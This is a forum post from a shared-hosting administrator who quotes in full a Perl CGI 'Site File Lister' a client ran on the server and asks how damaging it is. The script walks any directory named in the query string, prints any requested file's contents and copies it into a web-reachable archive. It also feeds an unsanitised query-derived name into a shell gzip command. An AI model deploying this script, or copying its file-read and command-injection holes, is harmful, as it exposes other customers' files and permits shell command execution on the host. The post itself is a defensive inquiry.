Just how bad is sfl.cgi on a sever

2025-04-07

I just had a client upload this script and executed on my shared server. See details @ http://www.perlservices.net/en/progr...er/index.shtml

#!/usr/bin/perl
$|=1;

#Set the primary path
$primary_path = $ENV{'DOCUMENT_ROOT'};

if(-d $ENV{'QUERY_STRING'}) {
$primary_path = $ENV{'QUERY_STRING'};
}
elsif (-e $ENV{'QUERY_STRING'}) {goto prfile;}
$logfile = "$primary_path".".htm";
$logfile =~ s/\//-/g;
open (FlG, ">>$logfile");
print "Pragma: no-cache\nContent-type: text/html\n\n";
#print "$logfile\n";
print qq~<HEAD><TITLE>Perl Services - Site File Lister</TITLE></HEAD>
<BODY BGCOLOR="#F9F9F9" TEXT="#000080" LINK="ROYALBLUE" ALINK="ROYALBLUE" VLINK="ROYALBLUE">

<center>Perl Services - Site File Lister $ENV{'SERVER_NAME'} 
~;

print FlG qq~<HEAD><TITLE>Perl Services - Site File Lister</TITLE></HEAD>
<BODY BGCOLOR="#F9F9F9" TEXT="#000080" LINK="ROYALBLUE" ALINK="ROYALBLUE" VLINK="ROYALBLUE">

<center>Perl Services - Site File Lister $ENV{'SERVER_NAME'} 
~;

#Initialize the hashes. Yeah, yeah, expensive I know but that are part of the beauty and power of Perl dammit!
my(%dirs, %dirs2beread, %dirs2bexfer, %ascii2bexfer, %binary2bexfer, %filesoftype);
my($total_dirs, $total_ascii, $total_binary, $total_files, $total_size);
#Add the primary path to the hash of all directories
$dirs{$primary_path} = 1;
#Add the primary path to the list of directories to be parsed
$dirs2beread{$primary_path} = 1;
#Initialize to true the var which will tell the loop when to exit
my $read_dirs = 1;
#Start the loop
while($read_dirs) {
#Get a list of all the currently held directory paths not yet parsed
my @dirkeys = sort keys %dirs2beread;
#Shift the first directory from this list
my $this_dir = shift(@dirkeys);
#Remove this first directory from the hash so that it will not be in the list during
#the next iteration through the loop
delete $dirs2beread{$this_dir};
#Now get a list of everyting in this directory
my @new = &readit($this_dir);
#Now step through each every item that is in the directory currently being examined
foreach(@new) {
if(-d $_) {
#If the item is a directory, add it to the hash of directories to be parsed
#and add it to the list of direcotries to be created on remote server
$dirs{$_} = 1;
$dirs2beread{$_} = 1;
$dirs2bexfer{$_} = 1;
$total_dirs++;
}
elsif(-T $_) {
#If the item is a text file, add it to the hash of ascii files to be xfer'd
$ascii2bexfer{$_} = 1;
$total_ascii++;
$total_files++;
} else {
#If the item is a binary file, add it to the hash of binary files to be xfer'd
$binary2bexfer{$_} = 1;
$total_binary++;
$total_files++;
}
unless(-d $_) {
$total_size += (-s $_);
my @breakitup = split(/\//, $_);
my @ext;
if($breakitup[$#breakitup] =~ /\./) {
@ext = split(/\./, $breakitup[$#breakitup]);
} else {
$ext[0] = 'No Extension';
}
$filesoftype{$ext[$#ext]}++;
}
}
my @checkloop = keys %dirs2beread;
unless((-d $checkloop[0]) && ($checkloop[0] =~ /[a-zA-Z1-9]/)) {
$read_dirs = 0;
}
}
$total_size = sprintf("%5.2d", int(($total_size / 1024) + .5));
my $type_summary = qq~<table border=0 cellspacing=0 cellpadding=5 style="font-family:verdana;font-size:12px;"><tr>~;
my $add_new_row = 0;
for(sort keys %filesoftype) {
$add_new_row++;
if($add_new_row % 5 == 0) {
$type_summary .= qq~</tr><tr>~;
}
$type_summary .= qq~<td>.$_: $filesoftype{$_}</td>~;
}
$type_summary .= qq~<td> </td>~ x ($add_new_row % 5);
$type_summary .= qq~</tr></table>~;
#Print out the counts
print qq~
Directories: $total_dirs | ASCII: $total_ascii | Binary: $total_binary | Files: $total_files | Total Size: $total_size Kb.
 $type_summary
</center> 
<A HREF="$logfile.gz" TARGET="_blank">Compressed log</A>
~;

print FlG qq~
Directories: $total_dirs | ASCII: $total_ascii | Binary: $total_binary | Files: $total_files | Total Size: $total_size Kb.
 $type_summary
</center> 
~;
close (FlG);
#Finally, print out everything sorted by directory.
my @all_items = sort {$a cmp $b} keys %dirs;
for(my $a = 0; $a <= $#all_items; $a++) {
my @get_files = grep { /^$all_items[$a]\/([^\/])+$/ } keys %ascii2bexfer;
push(@get_files, grep { /^$all_items[$a]\/([^\/])+$/ } keys %binary2bexfer);
$all_items[$a] =~ s/$primary_path//;
$all_items[$a] ||= '/';
# print qq~<LI>$all_items[$a]\n<OL>\n~;
open (FlG, ">>$logfile");
print FlG qq~<LI>$all_items[$a]\n<OL>\n~;
close (FlG);
my @sorted_files = sort @get_files;
for(my $b = 0; $b <= $#sorted_files; $b++) {
$sorted_files[$b] =~ s/$primary_path//;
# print "<LI>$sorted_files[$b]\n";
open (FlG, ">>$logfile");
print FlG "<LI>$sorted_files[$b]\n";
close (FlG);
}
# print "</OL>\n";
open (FlG, ">>$logfile");
print FlG "</OL>\n";
close (FlG);
}
print qq~
<HR SIZE=5> 
<CENTER><A HREF="http://www.perlservices.net/en/programs/site_file_lister/index.shtml" TARGET="_blank">Perl Services - Site File Lister</A>
 © 2002, <A HREF="http://www.perlservices.net" TARGET="_blank">Perl Services</A></CENTER> 
</BODY></HTML>
~;
open (FlG, ">>$logfile");
print FlG qq~
<HR SIZE=5> 
<CENTER><A HREF="http://www.perlservices.net/en/programs/site_file_lister/index.shtml" TARGET="_blank">Perl Services - Site File Lister</A>
 © 2002, <A HREF="http://www.perlservices.net" TARGET="_blank">Perl Services</A></CENTER> 
</BODY></HTML>
~;
close (FlG);
$command = "gzip -9 $logfile";
`$command`;
exit;

prfile:;
$file = $ENV{'QUERY_STRING'};
$targfl = $file;
$targfl =~ s/\//-/g;
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$atime,$mtime,$ctime,$blksize,$blocks) = stat($file);

print "Pragma: no-cache\nContent-type: text/plain\n\n";
print "$file\nmode=$mode, uid=$uid, gid=$gid, size=$size\n";
if (-e $file)
{
open(FILEG, "<$file");
while (<FILEG>)
{
print $_;
$content .= $_;
}
close (FILEG);

open(FLG, ">$targfl");
print FLG $content;
close (FLG);
$command = "gzip -9 $targfl";
`$command`;
}
else
{
print "<html><h1>File doesn't exist!</h1></html>\n";
}

sub readit {
my $path = shift;
opendir(READ, $path);
my @temp = readdir(READ);
closedir READ;
my @temp2;
foreach(@temp) {
unless(($_ eq '.') || ($_ eq '..')) {
push(@temp2, "$path/$_");
}
}
return(@temp2);
}

How damaging is it other than display all the domain accounts on the server?

Naturally that account has been suspended by the techies.